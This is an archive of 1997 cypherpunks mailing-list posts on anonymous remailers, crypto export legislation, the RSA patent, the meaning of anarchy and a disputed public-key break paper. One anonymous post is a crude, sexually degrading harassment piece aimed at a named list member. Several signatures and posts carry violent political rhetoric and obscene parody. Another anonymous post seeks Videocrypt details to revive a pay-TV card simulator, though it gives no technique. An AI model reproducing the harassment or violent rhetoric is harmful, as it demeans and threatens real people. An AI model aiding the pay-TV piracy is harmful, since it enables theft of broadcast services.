So, for instance, if Whitfield Diffie and PhilZ were walking into a Federal
building in OK City, and I saw some cypherpunk not too far away getting
ready to blow it up, well, I guess I'd have to kill him.   (Dirty Harry
saying:  "feel lucky today, cpunk?"). 


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 00:18:57 +0800
To: "Roger J. Jones" <cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <v03007800af9f99442aae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

With chained, multiply-encrypted messages, logs are ineffective unless all
of the links in the chain collude to trace messages. While this is
certainly possible, it seems unlikely.


>2) Are in many cases reputed to be run by foreign intelligence services?

This allegation was made by some clueless Washington think tank authors.
They provided no evidence, only innuendo, and they were unwilling or unable
to provide any further comments when queried by several Cypherpunks.

And given that many or even most of the remailer operators are members of
the various related Cypherpunks or Remailers Operators lists, and are known
to various of us, the notion that most (or even many) remailers are run by
intelligence agencies is absurd.


>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

I don't recognize your name on this list. Fine, as we always like to see
new subscribers. But I surmise you just haven't spent enough time yet
reading and thinking about these issues.

Welcome to the Cypherpunks list.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 00:10:47 +0800
To: cypherpunks@algebra.com
Subject: Helicopters Revisited
In-Reply-To: <199705141507.LAA11920@life.ai.mit.edu>
Message-ID: <v03007801af9f9ec575aa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:13 AM -0800 5/14/97, Phillip M. Hallam-Baker wrote:

>This may not be the case in this instance but its a good idea not
>to start seeing black helicopters arround every corner...
>

Don't worry, I don't see black helicopters buzzing around my hilltop.

This is because they have disguised themselves in various ways. I can still
_hear_ them, but now their invisible stealth mode is apparently being used
to prevent me from adequately detecting them.

This all started when Bill Clinton flew over my house in the summer of
1995. A woman visiting my house waved an AR-15 in his general direction,
much to my consternation (though I favor his removal, I feared flaming
wreckage raining down on my area, plus various SS agents carrying me off to
KZs).

After this, the stealth mode was turned on...now the black helicopters are
invisible to me.

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 00:28:05 +0800
To: Lucky Green <declan@pathfinder.com>
Subject: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <v03007802af9fa094e283@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:14 PM -0800 5/13/97, Lucky Green wrote:
>At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>>You might remember I wrote recently about the DoJ report released this
>>month that calls for new legislation to ban bomb-making info online. Now
>>Feinstein's office tells me she's going to introduce a bill.
>
>Feinswine never saw a gun/mind control bill she didn't like. She is an
>ultra fascist that rose to power thanks to the yellow dog Bay Area voters.
>

Feinswine/Swinestein is the most despicable of all the politicians in
Congress. (This is not just ideology speaking...her usual-ally Barbara
Boxer is much less swinish, and even has some independent thoughts. I can't
see I often agree with Boxer, but she's not the Big Sister automaton that
Swinestein is.)

We're basically under assault from all directions. The bozos in Congress
and state governments are spinning out new laws and obscure regulations
faster than we can react...and of course they're using our money to
generate these laws and lobby for them. Further, a mostly-brainwashed
Washington media population is surprising uncritical of these blizzard
drifts of new laws.

As others have noted, recently James Donald, the lawmakers play the "good
cop, bad cop" game very well. Crypto becomes exportable (good cop), but
only if keys are given to the government (bad cop). Speech is ostensibly
protected by new laws, but new provisions criminalize racist, homophobic,
disrespectful, hurtful, offensive, or unpopular opinions.

The "there ought to be a law" crowd is in high gear.

The only proper rebuttal is to reject their view that more laws will fix
the societal ills they perceive.

Attempting to "work with them" only feeds the good cop/bad cop system, as
the SAFE and Pro-CODE bills show.

Removing the Washington area as a malignant tumor requiring drastic surgery
remains an option.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 15 May 1997 01:51:00 +0800
To: Ray Arachelian <spectre@nac.net>
Subject: Re: Enough of this shit already!
In-Reply-To: <13510758714442@nac.net>
Message-ID: <v03007811af9f9c6474b1@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:

>Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
>doctorate from the KGB, I'm tired of these spams.  Yes, they include the
>ones that IMHO come from Vulis, the ones to which Graham replies, the
>anonymous ones that reply to Graham, the permutations of them that
>spam Toto, and these.  :(

IMHO these spams are the reason people have been leaving the list, not the
political discussions (Perry excepted).


>Hell, the nice bomb making spam too is also a bitch being posted here.
>One could give the poster the benefit of the doubt, but it smells quite
>of the tactics used by the Postal fiends that mail child porno to an
>unsuspecting citizen unit, then arrest that citizen unit upon receipt.

Note that the bomb making information has revealed nothing more than what a
good encyclopedia should have.  To go from explosives information to bomb
making recipes requires a good deal more information, e.g. about safety.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 15 May 1997 01:36:34 +0800
To: Paul Bradley <cypherpunks@algebra.com
Subject: Re: Eternity server considerations and musings
In-Reply-To: <Pine.LNX.3.91.970513165201.835A-100000@fatmans.demon.co.uk>
Message-ID: <v03007814af9f9ee90c52@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 AM -0700 5/13/97, Paul Bradley wrote:
>The proxies idea however can be extended to censor usenet, usenet
>traffic, although pretty huge, is not yet too large to be grep`d for
>keywords (currently around 600mb of traffic a day passes through the
>newsgroups) before being proxied, so a government can run a server which
>first checks to ensure the usenet article is not encrypted (this can be
>done crudely by checking for occurances of common words or by checking
>the redundancy of the text by attempting to compress it) and if it is
>encrypted junks it, if it is plaintext, greps it for keywords like
>"assasination", "anarchy", "porn" etc... then kills the articles that
>have these words in them, the other articles the government does not want
>to censor are put on a main server like news.fourth-reich.de and access
>blocked to all the other news servers.

Obviously you need to stego your message in a post that passes the
automatic censor.  The important question is what is the minimum data
expansion you can get away with?  I see an "arms race" in the making.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Thu, 15 May 1997 02:38:54 +0800
To: "cypherpunks@toad.com>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <01BC6054.177E3E00@marmoset.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't pretend to be patent law knowledgeable, but I'll try to address this. While pure mathematics is unpatentable, the inventions based on it are not. Remembering you can't get patents on ideas, only inventions, I decided to go and check out the RSA patent and see why it has held up and been allowed renewal (no kidding. Think of all the trouble that could have been saved if renewal had been denied!)

This first thing I noticed is that not only is RSA patented, but so is Stego, under patent 5613004. The RSA patent is abstracted and here it is: 

ABSTRACT:   A cryptographic communications system and method. The system includes a
communications channel coupled to at least one terminal having an encoding device and to at
least one terminal having a decoding device. A message-to-be-transferred is enciphered to
ciphertext at the encoding terminal by first encoding the message as a number M in a
predetermined set, and then raising that number to a first predetermined power (associated with
the intended receiver) and finally computing the remainder, or residue, C, when the
exponentiated number is divided by the product of two predetermined prime numbers
(associated with the intended receiver). The residue C is the ciphertext. The ciphertext is
deciphered to the original message at the decoding terminal in a similar manner by raising the
ciphertext to a second predetermined power (associated with the intended receiver), and then
computing the residue, M', when the exponentiated ciphertext is divided by the product of the
two predetermined prime numbers associated with the intended receiver. The residue M'
corresponds to the original encoded message M. 


For the actual details of the patent go to IBM's patent server: http://patent.womplex.ibm.com/details?patent_number=4405829


Notice how careful they were to title it a "System" and a "Method". It is that they are patenting. I think if someone had good enough lawyers, they could probably challenge this patent using prior art claims, but what the hell do I know. I'm thinking however that the Secure Telephone Units had a dual key system, and were introduced by AT&T long before the RSA patent was granted, but I'm not sure. 

So indeed they are patenting the method of using the mathmatics. Which is thier invention, which is why (IMO) they were granted the patent.  

I wish that they hadn't been able to get it renewed. It would have been nice to see how RSA would do competing thier software libraries against alternative competitors. Ah well, guess we'll have to wait another 17 years. Too bad. 

  Chris DiBona

-----Original Message-----


At 19:47 5/13/97 -0700, Kent Crispin wrote:
>On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
>> However, I've been waiting many years for some patent-law-knowledgeable
>> person to explain why mathematics, which was widely seen as being absolutely
>> unpatentable prior to the invention of public-key cryptography, suddenly
>> became patentable just in time for RSA, etc.  
>> 
>> Until I hear such an explanation, I _DO_ begrudge RSA and others that
"right."
>
>Wow!  I agree with you!

Sit down until the feeling goes away.


Jim Bell
jimbell@pacifier.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 15 May 1997 00:27:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <Pine.GSO.3.95.970513220459.18020F-100000@well.com>
Message-ID: <199705141559.KAA20547@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.GSO.3.95.970513220459.18020F-100000@well.com>, on 05/13/97 at
11:07 PM,
   Declan McCullagh <declan@well.com> said:


>I appreciate William's comments, but he fails to understand the reality of
>the situation. Let's forget about the "furtherance" provision for a
>moment.

>Congress is not passing a new law in lifting export controls. Rather, it
>is reducing the sweep of one it already passed that the White House has
>abused.

Well that is another issues that I had not addressed in my post: The
Userping of powers relegated to the Legislative Branch by the Excutive
Branch via Executive Order.

If Congress was intrested in doing the "right thing" then law they should
be passing should be quite small stating that the Executive Order is
Unconstitutional and by an Act of Congress is Repealed.

This is not what they are doing. What they are saying with SAFE is that you
have no Constitutional Rights on this issue but because we are nice guys we
are going to pass a law making it legal, oh by the way we are going to tack
a few riders on here for our own purposes.

The whole approach to this issue is wrong. There is *no* valid law
restricting the export of crypto. Any attempts to enforce such an invald
law should be delt with in the courts. I find that it sets a scary
presedent that I *need* congress permission before I can exercise my
Constutionally Protected Rights.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3nwVY9Co1n+aLhhAQGxrgP8DSQtMaG1QH0xDYUHuvSc9KOebxXHTojM
6f21c3cKnc9kNjgO4Tqju3SQTy5mWOtyWRtzdJ+1SsUxhiNOqOnY7eXRIteViP2K
wujrKge2UqJeNOhINpwiHYbqqbA/XLXPzuyaNyegzmHSmxJCwSxhNstP25l4BSI2
3GmLswHI2M8=
=fIjb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 15 May 1997 00:29:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: unsafe SAFE:
In-Reply-To: <v0300780aaf9f103e46dd@[207.167.93.63]>
Message-ID: <199705141606.LAA20666@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v0300780aaf9f103e46dd@[207.167.93.63]>, on 05/14/97 at 12:53 AM,
   Tim May <tcmay@got.net> said:


>No politician I know of will ever be a friend of crypto anarchy.

The only thing that polititions are ever a friend of is whatever cause is
flaver-of-the-month supported by the mob & media. They all have the
intestinal fortitude of a slug.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3nyEI9Co1n+aLhhAQGF3QQAmHIpFFW3lGPzWb+gAd7TNWAmTX0eXNGs
JtnB798cZWWs8KFkPXWphEvJy6vP58u8/2bMAI6WB977CjQmStJxRLwflNvNtLq3
GdYgn8CT7cmALJ+7pg7QinV26iwkAkT6kInNPcKNWsqyRv4XGOvvCadXlkegMGui
RNAr4hlv6mU=
=hEmI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 02:44:31 +0800
To: cypherpunks@algebra.com
Subject: Videocrypt/Videocrypt2 any cryptanalytic results?
Message-ID: <199705141828.LAA08796@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Has any progress been made in cryptanalysing the algorithms used in the 
european Videocrypt and Videocrypt2 standards used to encrypt satellite 
broadcasts?

Particularly, is there any information I can obtain about the protocols, 
the data communicated between the decoder and card, and the algorithm itself.

I am looking at the possibility of a new version of the "season" card 
simulator software created some time ago, which is now obselete, which 
used to be used against videocrypt broadcasts...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 02:57:51 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970513230543.60364@bywater.songbird.com>
Message-ID: <19970514112959.12839@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 04:03:57PM +0000, Paul Bradley wrote:

>>> Calling this an "anarchy" is comparable to calling the pogrom by the Third
>>> Reich against Jews, gypsies, cripples, and others an example of anarchy.
>> 
>> Nonsense.
> 
> No, there is a distinct and marked difference between the absence of 
> government and the presence of lots of different governments, the reason 
> for war in Rwanda is because there are a number of rival factions all 
> competing to gain power, a true anarchy has no government whatsoever.
> Rwanda is an example of undecided government, not no government.

Roving bands of thugs are not the same as an "undecided government".

>> "anarchy n. the absence of government or control, resulting in 
>> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
>> 
>> Which part of that would you say didn't apply to Rwanda?  
> 
> The entire first definition, there is no absense of government in Rwanda, 
> merely a number of different prospective government.

Your sentence is an oxymoron, a self contradiction.  A "number of
different prospective governments" are *not* the same as "a
government".  Claiming to be a government is not the same as being a
government. 

> Also, the definition of anarchy is flawed in that it suggests that the 
> word refers to the lack of government leading to lawlessness, my 
> definition, and I would imagine the definition of most members of this 
> list, is that anarchy is the absense of government period. Just because 
> the law we refer to doesn`t suit you does not mean it is not a valid system.

You are free to use the word anarchy to refer to asparagus if you 
wish.  However, the meaning I used is *the* common English meaning.  

> > In fact, the correlation between anarchy and war is very strong, for
> > obvious reasons.  Perhaps that is why most intelligent people don't
> > consider anarchy a desirable state of affairs. 
> 
> Cite?

Cite what? The obvious correlation that you agree to below? Or do you
think I need to do find a study that shows that intelligent people
don't consider an anarchical situation such as the Rwandan collapse a
desirable situation?

> The correlation between your definition of anarchy and war is obvious, if 
> you define anarchy as "A lack of government leading to lawlessness" you 
> are obviously going to see a correlation between this and lawlessness!

That's not *my* definition, it's *the* definition, as described in a
standard, reputable dictionary.  I realize that you have your own
private definition of the term, that you share with your friends and
an esoteric community.  However, I am not a member of that community, 
so I use the standard meaning.

> I could counter argue that the correlation between government and war is 
> irrefutably stronger but then I would be playing your little game, and I 
> don`t want to get drawn into that.

Of course there is a correlation between government and war.  There is
a correlation between people and war, between use of guns and war (so
clearly we could eliminate war by eliminating guns), economics and
war, etc etc.  Correlation is not causation. 

> Your comment that most intelligent people consider that anarchy is not a 
> desirable state of affairs does not even deserve comment, democratic 
> arguments for or against anarchy are completely irrelevant and futile.

Gosh, I thought you weren't going to comment...

Of course, democratic arguments for or against dictatorship are 
completely irrelevant and futile, as well.  Just out of curiosity, 
what the heck is a "democratic argument", anyway?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 03:19:23 +0800
To: cypherpunks@toad.com
Subject: Re: Public Key Break Paper
Message-ID: <199705141841.LAA09403@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> 
> >I just took a brief look at it, (thanks for forwarding, Lucky),
> >and it's pure crap-ola.
> 
> As a meta-point any securirty person knows that employees and
> ex-employees are the most serious security risks. Its not exactly
> unknown for someone to go nuts and then come out with loony
> paranoid theories.

  Whenever I see the dying embers of the spam debate being blown
to life (along with similar non-issues), I wonder what the disinfo
artists are trying to distract me from.
  I don't have to wonder too hard, however, since I can always 
count on the usual suspects to step forward and pooh-paah whatever
they don't want anyone to look at too closely.

  Anything Phill casts aspersions on has to be worth checking out:
   http://jya.com/snlhit.htm

TrafficMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roger J. Jones" <cyber@ibpinc.com>
Date: Thu, 15 May 1997 02:06:09 +0800
To: "'cypherpunks@toad.com>
Subject: FW: Anonymous Remailers
Message-ID: <01BC6065.17582FB0@pc1901.ibpinc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----Original Message-----
From:	Tim May [SMTP:tcmay@got.net]
Sent:	Wednesday, May 14, 1997 11:52 AM
To:	Roger J. Jones; 'cypherpunks@toad.com'
Subject:	Re: Anonymous Remailers

At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

With chained, multiply-encrypted messages, logs are ineffective unless all of the links in the chain collude to trace messages. While this is certainly possible, it seems unlikely.

>2) Are in many cases reputed to be run by foreign intelligence services?

This allegation was made by some clueless Washington think tank authors.  They provided no evidence, only innuendo, and they were unwilling or unable to provide any further comments when queried by several Cypherpunks.
I suggest that just because you chose to characterize the sources as "clueless Washington think tank authors" does not (as they say in Star Trek - The Next Generation) "make it so".  The "allegation" that foreign governments actively participate in actions to violate personal privacy ("borrowing" laptops from traveling businesspeople, taping phones, etc.) are all documented in various places.  Of course, they could all the result of a single psyop with excellent results.  But I doubt it.
And given that many or even most of the remailer operators are members of the various related Cypherpunks or Remailers Operators lists, and are known to various of us, the notion that most (or even many) remailers are run by intelligence agencies is absurd.

>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

I don't recognize your name on this list. Fine, as we always like to see new subscribers. But I surmise you just haven't spent enough time yet reading and thinking about these issues.
You may surmise what you choose.  In fact, that is the essence of free discourse.  Of course, knowing is far better than surmising.  If you care to suggest a reading list please feel free to mail it to me direct.  And yes, I am new to this most charming and entertaining list.  Thank you for the welcome
Welcome to the Cypherpunks list.
* Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money, tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, Higher Power: 2^1398269     | black markets, collapse of governments.  "National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 15 May 1997 01:49:04 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Question: RC5 assembly code?
Message-ID: <3.0.1.32.19970514131409.007b5be0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


I have the source code for RC5 encryption algorithm, but it is in C, 
well it is still cool since it is "portable" but I am actually looking 
for a PowerPC assembly code for the same, or at least for the Key 
Expansion, Encryption and Decryption routines.

I am not a PowerPC coder at all, I barely know 8086 assembly. Somebody 
have it already written?

The "formula" for RC5 is pretty interesting and looks like is made to 
be implemented in Assembler.

Cia0,

Juriaan








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 01:48:27 +0800
To: cypherpunks@toad.com
Subject: Re: Public Key Break Paper
Message-ID: <1.5.4.32.19970514171836.009362f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip Hallam-Baker wrote:

>As a meta-point any securirty person knows that employees and
>ex-employees are the most serious security risks. Its not exactly
>unknown for someone to go nuts and then come out with loony 
>paranoid theories.
>
>This may not be the case in this instance but its a good idea not
>to start seeing black helicopters around every corner...

"All cryptologists are rightly paranoid, they break the rules of the
game and lie to hide how it's done." -- Anonymous.

For what it's worth, it was Sandia who disclosed Payne's
public key break paper, not him. He's suing SNL for privacy 
violations.

His suit of DoE and NSA is about being fired for refusing to 
carry out illegal work which craven colleagues jumped to do.

William Payne could be the Bellwether of spilling the dark
national lab secrets unless, ahem, he gets his million
dollar settlement. I say good luck to him and the others
fighting the secret-hoaders.

Payne's dispute with Sandia and NSA shows once again how the
gatekeepers of top secrets manipulate those who work on
classified projects:

Lure the best and brightest with flattering invitations to
join prestigous secret work. 

Require high-penalty NDAs for participation.

Invite to work on repugnant projects, and if refused, fire
for insubordination or other pretext ("displeasing the
customer" or "to protect national security").

Then, destroy careers by precluding ever again working on
classified projects.

Finally, stigmatize the victim and publicize to frighten
other workers into subservience.

This entrapment into fearful servitude happens repeatedly in
high affairs of state: Oppenheimer, Snepp, McGee, Halperin,
and so on. There are dozens of current pending cases at DoE,
CIA, NSA and the like in the US, and many more in other
countries.

To be sure, wisely obedient government workers will never
have to cry "help me, my former colleagues are attacking, I
did nothing wrong."

Still, it seems that there must be ritual sacrifices of the
innocent, as Shirley Jackson wrote in "The Lottery," to
expatiate collective guilt, any innocent will do -- "for all
are equally guilty," so the gods and secret-keepers hyper-
guiltily smirk.

Who's next to exaptiate the guilt of the mega death national
and university labs? Surely not Hallam-Baker or Crisp?

Or, as Tim suggests, how about sacrificing the secret labs 
(and black-chip fabs)? There's a bill before Congress to
redo the NLs, but why dawdle when there's a surefire 
crypto-lottery.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 01:42:38 +0800
To: cypherpunks@toad.com
Subject: Re: Quadratic Residue: Vulis
Message-ID: <199705141720.NAA25212@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Demento Vulis's mother attempted to pro-choice the unwanted 
little bastard by fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little 
Demento's fetal cranium (not much to begin with).
 
       (_) _____ (_)
          /O   O\   The Proctologist  Demento Vulis
         !   I   !
         ! \___/ !
          \_____/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 04:42:54 +0800
To: Tom Allard <cypherpunks@toad.com
Subject: Pedantry, Toastmasters, Anarchy, and Crispin
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <v03007803af9fd98e4563@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:07 AM -0800 5/14/97, Tom Allard wrote:

>How pedantic.  Webster's New World Dictionary (also reputable, I might add),
>has THIS to say about "Anarchy":
>
>  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>  2. political disorder and violence 3. disorder; confusion
>
>Note the etymology.  Taken to its roots, the word simply means "no leader".

Tom is exactly right. Citing dictionary definitions without proper
context--and the context of "anarchy" and "anarcho-capitalism" on this of
_all_ lists is quite important--is just plain pedantry. Dictionaries are
not encyclopedias, and rarely provide nuanced definitions. In this case,
the meaning of "anarchy" is of course overloaded with various connotations.

(I'm reminded, too, of hackneyed Toastmasters-type speeches which seem to
always begin with an obligatory Webster's quote. "Websters defines virtue
as ....")

The meaning of anarchy, and how it differs from chaos and random killings,
has been discussed many times. David Friedman's "The Machinery of Freedom"
is a good book to start with. Bruce Benson's "The Enterprise of Law" also
discusses how lawlessness is not at all a necessary part of "no rulers"
(Hint: international trade generally involves "no ruler," given that
neither the United Nations nor the World Court have much power over such
things, and yet international trade has worked for several centuries, and
arguably for millenia, with good success.)

>It also says:
>
>  anarchism n. [see anarchy] 1. the theory that all organized government is
>  repressive and undesirable 2. resistance to all government
>
>Note the COMPLETE lack of "chaos" or "disorder" in this definition.  Being
>an anarchist, therefore, does NOT imply that one supports chaos and
>disorder.

And it's important to note that _many_, even _most_, aspects of Western
society are essentially anarchic. The books we read, the restaurants we
patronize, the clothes we wear...while the range of choices is constrained
by what the market offers, and by social norms, etc., there are no "rulers"
(or "tops," or "arches," hence, 'an archy," as Tom notes the etymology
above).

To see why this is important, let us imagine somelike Diane Feinstein
calling for laws about what books may be read, "to put an end to the chaos,
lawlessness, and disorder in the bookreading community." (Actually, this is
exactly the sort of law Feinstein, Goodlatte, and all the rest are almost
constantly proposing...the only thing that stops some of these proposals
from progressing is the black letter law of "Congress shall make no
law...," and even then these bozos try to find workarounds and exceptions.
This is one reason I have absolutely no faith that legislation can secure
basic rights.)

As for Kent Crispin's remark that he chooses not to use the "esoteric"
definition of anarchy that the anarchist community, and economists
(actually), and others use, and prefers his "Toastmaster's Club" hoary
recitation of a simple dictionary definition, well, this is why I'm
becoming convinced that "Kent Crispin" is just a new identity David
Sternlight has adopted.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 05:00:32 +0800
To: "Roger J. Jones" <cypherpunks@toad.com>
Subject: Re: FW: Anonymous Remailers
In-Reply-To: <01BC6065.17582FB0@pc1901.ibpinc.com>
Message-ID: <v03007804af9fdea37725@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



First off, Roger, you need to find better _quoting_ software for your
replies, or explicity add "begin quote" and "end quote" markers, as some
folks are forced to do. And/or set your word wrap to a standard 70-78
columns. I found it hard to tell my own comments from your added comments,
and this only because I was able to recognize my own words! No doubt others
simply gave up and pressed the "D" key on your reply.


At 9:48 AM -0800 5/14/97, Roger J. Jones wrote:
I suggest that just because you chose to characterize the sources as
"clueless Washington think tank authors" does not (as they say in Star Trek
- The Next Generation) "make it so".  The "allegation" that foreign
governments actively participate in actions to violate personal privacy
("borrowing" laptops from traveling businesspeople, taping phones, etc.)
are all documented in various places.  Of course, they could all the result
of a single psyop with excellent results.  But I doubt it.

You may surmise what you choose.  In fact, that is the essence of free
